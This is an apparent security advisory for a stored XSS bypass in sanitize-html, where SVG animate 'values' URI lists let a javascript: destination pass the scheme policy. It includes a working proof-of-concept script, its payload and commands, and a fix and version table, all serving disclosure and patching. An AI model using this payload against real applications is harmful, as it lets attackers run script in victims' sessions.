ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass
Summary
When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.
Details
index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.
PoC
This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:
const sanitize = require('sanitize-html');
const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`;
const output = sanitize(input, {
allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']),
allowedAttributes: {
...sanitize.defaults.allowedAttributes,
animate: ['attributename', 'values', 'dur', 'fill'],
text: ['y']
},
allowedSchemesAppliedToAttributes:
sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values'])
});
console.log(output);Install and run it, then open poc.html and click Click me:
npm install sanitize-html@2.17.6
node poc.js > poc.htmlThe output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.
Impact
In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.
Suggested fix
Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | sanitize-html | >= 1.9.0, < 2.17.7 | 2.17.7 |
References
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-g8qq-57p8-ggw5
- https://github.com/apostrophecms/apostrophe/pull/5552
- https://github.com/apostrophecms/apostrophe/commit/1135516a1a4a8f9638641c460488a43d8af20081
- https://github.com/apostrophecms/apostrophe/commit/38ff1106c8176b16c2da9872acd9b449adcbb949
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/blob/main/packages/sanitize-html/CHANGELOG.md
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
sanitize-html- Disclosed
- 01.09.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-g8qq-57p8-ggw5 - CC BY 4.0
Vulnerability history: sanitize-html
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 15
- First → latest
- 11.2018 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
- Medium 12
- Low 1
Disclosures per year
- 2018: 2
- 2019: 0
- 2020: 1
- 2021: 2
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 7
-
ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass this entry
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